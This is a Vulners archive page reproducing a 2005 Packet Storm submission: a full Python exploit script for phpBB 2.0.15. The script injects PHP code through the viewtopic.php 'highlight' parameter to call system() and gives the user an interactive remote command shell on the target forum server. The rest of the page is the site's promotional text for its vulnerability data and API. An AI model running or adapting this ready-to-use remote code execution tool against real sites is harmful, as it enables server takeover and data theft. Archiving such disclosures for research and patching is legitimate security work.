Lucene search
K

phpbb2015.py.txt

🗓️ 07 Jul 2005 00:00:00Reported by rattleType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

PHPBB 2.0.15 arbitrary command execution exploi

Code
`#!/usr/bin/pyth0n  
  
print "\nphpBB 2.0.15 arbitrary command execution eXploit"   
print " 2005 by [email protected]"   
print " well, just because there is none."   
  
import sys   
from urllib2 import Request, urlopen  
from urlparse import urlparse, urlunparse  
from urllib import quote as quote_plus  
  
INITTAG = '<g0>'  
ENDTAG = '</g0>'  
  
def makecmd(cmd):  
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))  
  
  
_ex = "%sviewtopic.php?t=%s&highlight=%%27."  
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."  
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"  
  
  
def usage():  
print """Usage: %s <forum> <topic>  
  
forum - fully qualified url to the forum  
example: http://www.host.com/phpBB/  
  
topic - ID of an existing topic. Well you   
will have to check yourself.  
  
"""[:-1] % sys.argv[0]; sys.exit(1)  
  
  
if __name__ == '__main__':  
  
if len(sys.argv) < 3 or not sys.argv[2].isdigit():  
usage()  
else:  
print  
url = sys.argv[1]  
if url.count("://") == 0:   
url = "http://" + url  
url = list(urlparse(url))  
host = url[1]  
if not host: usage()  
  
if not url[0]: url[0] = 'http'  
if not url[2]: url[2] = '/'  
url[3] = url[4] = url[5] = ''  
  
url = urlunparse(url)  
if url[-1] != '/': url += '/'  
  
topic = quote_plus((sys.argv[2]))  
  
while 1:  
  
try:  
cmd = raw_input("[%s]$ " % host).strip()  
if cmd[-1]==';': cmd=cmd[:-1]  
  
if (cmd == "exit"): break  
else: cmd = makecmd(cmd)  
  
out = _ex % (url,topic,cmd)  
  
try: ret = urlopen(Request(out)).read()  
except KeyboardInterrupt: continue  
except: pass  
  
else:  
ret = ret.split(INITTAG,1)  
if len(ret)>1: ret = ret[1].split(ENDTAG,1)  
if len(ret)>1:  
ret = ret[0].strip();  
if ret: print ret  
continue;  
  
print "EXPLOIT FAILED"  
  
except:  
continue  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2005 00:00Current
7.4High risk
Vulners AI Score7.4
21